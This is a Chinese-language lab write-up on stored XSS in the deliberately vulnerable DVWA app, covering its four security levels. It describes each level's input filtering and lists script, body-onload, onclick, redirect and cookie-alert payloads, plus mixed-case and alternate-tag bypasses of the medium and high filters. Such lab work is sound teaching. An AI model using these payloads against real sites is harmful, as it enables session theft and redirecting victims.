DVWA-存储型XSS漏洞
(一)将DVWA的级别设置为low
1.分析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后message:mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符, stripslashes
函数过滤掉”\”;
对name参数中使用mysql_real_escape_string
函数转义SQL语句中的特殊字符,trim函数去除字符串的头尾空格:
2.不防御XSS漏洞,只防御了SQL注入漏洞
尝试一般的XSS攻击
在message栏中测试:
①<script>alert('07')</script>
②<body onload=alert('007')>
③ <a href=http://www.baidu.com>click</a>
④ <a href='' onclick=alert('xss')>click</a>
⑤重定向:<script>window.location='http://www.163.com'</script>
Message被限制长度,打开开发者工具将长度加个0
⑥获取cookie:<script>alert(document.cookie)</script>
(二)将DVWA的级别设置为Medium
1.分析源代码
对于message:strip_tags
过滤字符串中的HTML,XML,PHP 的标签,注释等也会被过滤addslashes()
函数添加反斜杠,即将字符转义mysqli_real_escape_string
对sql语句中的特殊字符转义
但是name参数做的过滤不严格,只是替换<script>
以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过
2.绕过DVWA medium级别
①<Script>alert('x')</script>
大小写
②<body onload=alert('xss')>
③<a href='' onclick=alert('666')>click</a>
(三)将DVWA的级别设置为High
1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对<script>
严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过
2.绕过
①<body onload=alert('777')>
②<a href='' onclick=alert('xss')>click</a>
(四)将DVWA的级别设置为Impossible
1.分析源码可以看到,对两个参数都做了html实体转义,无法利用xss